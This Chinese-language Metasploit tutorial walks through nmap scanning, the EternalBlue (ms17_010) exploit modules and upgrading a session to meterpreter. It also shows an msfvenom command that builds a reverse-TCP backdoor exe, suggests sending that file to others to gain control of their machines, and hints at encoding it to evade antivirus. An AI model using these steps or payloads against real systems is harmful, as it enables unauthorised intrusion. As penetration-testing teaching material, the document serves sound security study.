前言
MSF高度模块化,是全球最受欢迎的渗透测试工具,涵盖了渗透测试中的全过程
一、MSF的安装
仅介绍kali-linux环境下MSF的使用
Kali linux官网下载: https://www.kali.org/downloads/.
kali-metasploit框架结构目录路径:
/opt/metasploit-framework/embedded/framework/
/usr/share/metasploit-framework
msfdb init:初始化数据库
msfconsole:启动
命令行变成msf6>
二、模块
1.auxiliary
辅助模块,辅助渗透(端口扫描,登录密码爆破,漏洞验证)
2.exploits
漏洞利用模块,包含主流的漏洞利用脚本
3.payloads
攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
4.post
后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令
三、MSF的使用
1.信息收集
dp_nmap命令
-T[0-5]:默认为T3,T4表示最大TCP扫描延迟为10ms
-sS: TCP SYN扫描
-sA: TCP ACK扫描
-sT:TCP扫描
-A:打开操作系统探测和版本探测
例如:
msf6 > db_nmap -sS -T4 192.168.123.137
扫描完成后输入hosts查看当前工作区所有主机,输入services得到端口扫描结果
2.辅助模块auxiliary
如果不知道该用什么模块就search,例如:search postscan
使用某一模块,例如:use auxiliary/scanner/portscan/
按住两次tab键会自动补全
接着输入show options查看模块需要设置的参数
设置目标主机地址:set rhosts 192.168.123.137
运行:run
接下来演示一个利用永恒之蓝漏洞攻击的例子
永恒之蓝漏洞,ms17_010,smb服务,windows默认是开启的,在445端口上,该漏洞一般在内网中的计算机上
search ms17_010寻找可用模块,编号为1的模块探测目标主机有没有永恒之蓝漏洞,编号为2的模块实施攻击
给第一个模块设置目标主机地址为参数,结果返回可被攻击
给第二个模块设置目标主机地址为参数,实施攻击,得到目标主机的一个cmd命令行会话。我们可以在这个cmd中输入命令以控制目标主机。(使用chcp 65001可以让windows的字符在linux中正常显示)输入exit退出会话,输入background挂在后台。sessions命令可以查看挂在后台的任务。
接着要把cmd转化成一个meterpreter(功能强大的集合)。输入sessions -u 1(session编号)把放在后台的shell升级为meterpreter。再用sessions 2可以进入这个新的session。
3.Msfvenom
msfpayload和msfencode的组合,是用来生成后门的软件
例如直接在命令行输入,不在msf中:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=Your IP Address LPORT=Your Port to Connect on -f exe -o shell.exe
会在你的本机目录下生成一个shell.exe文件,这个文件去发给别人如果它运行的话你就能获取目标主机的一个meterpreter。
回到msf6,输入use exploit/multi/handler
调用监听软件(编码可免杀,针对不同杀毒软件具体可百度)
对该模块show options是没有可以设置的选项的,因此我们要设置它的payload,设成跟msfvenom中一样才能监听成功:
set payload windows/meterpreter/reverse_tcp
set LHOST=Your IP Address
set LPORT=Your Port to Connect on
获取meterpreter后输入help可以查看能运行的目录
总结
MSF是一个非常好用的渗透框架,里面集成了许多框架和工具。在实际使用的时候可以先用Nessus对目标主机扫描看是否存在漏洞,利用Nessus扫描结果筛选合适的Metasploit攻击模块进行安全测试、攻击。